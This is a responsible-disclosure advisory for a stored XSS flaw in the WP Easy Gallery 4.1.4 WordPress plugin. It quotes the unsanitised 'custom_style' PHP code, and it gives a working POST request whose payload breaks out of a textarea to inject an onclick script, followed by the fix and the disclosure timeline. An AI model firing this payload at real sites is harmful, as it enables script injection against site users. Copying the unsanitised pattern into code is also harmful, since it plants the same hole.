WordPress Easy Gallery 4.1.4 Cross Site Scripting

`#Product : WP Easy Gallery  
#Exploit Author : Rahul Pratap Singh  
#Version : 4.1.4  
#Home page Link : https://wordpress.org/plugins/wp-easy-gallery  
#Website : 0x62626262.wordpress.com  
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94  
#Date : 26/Jan/2016  
  
XSS Vulnerability:  
  
----------------------------------------  
Description:  
----------------------------------------  
"custom_style" parameter is not sanitized that leads to Stored XSS.  
  
----------------------------------------  
Vulnerable Code:  
----------------------------------------  
File Name: wpeg-settings.php  
  
Found at line:12   
$temp_defaults['custom_style'] = isset($_POST['custom_style']) ?  
$_POST['custom_style'] : '';  
  
Found at line:103   
<td><textarea name="custom_style" id="custom_style" rows="4"  
cols="40"><?php _e($default_options['custom_style']); ?></textarea></td>  
  
----------------------------------------  
Exploit:  
----------------------------------------  
POST /wp-admin/admin.php?page=wpeg-settings  
  
wpeg_settings=3b59e6c6ef&_wp_http_referer=abc&display_mode=abc&num_columns=abc&show_gallery_name=abc&gallery_name_alignment=abc&use_default_style=abc&drop_shadow=abc&custom_style=</textarea><input+type%3Dtext+onclick%3Dalert(%2FXSS%2F)><!--&defaultSettings=xss&Submit=Save  
  
----------------------------------------  
POC:  
----------------------------------------  
https://0x62626262.files.wordpress.com/2016/01/easy-gallery-settingsxsspoc.png  
  
Fix:  
Update to 4.1.5  
  
Disclosure Timeline:  
reported to wordpress : 18/1/2016  
wordpress response (plugin taken down) : 19/1/2016  
vendor deployed a patch : 26/1/2016  
  
#######################################  
# CTG SECURITY SOLUTIONS #  
# www.ctgsecuritysolutions.com #  
#######################################  
  
Pub ref:  
https://0x62626262.wordpress.com/2016/01/26/wp-easy-gallery-v4-1-4-stored-xss-vulnerability/  
https://wordpress.org/plugins/wp-easy-gallery/changelog/  
`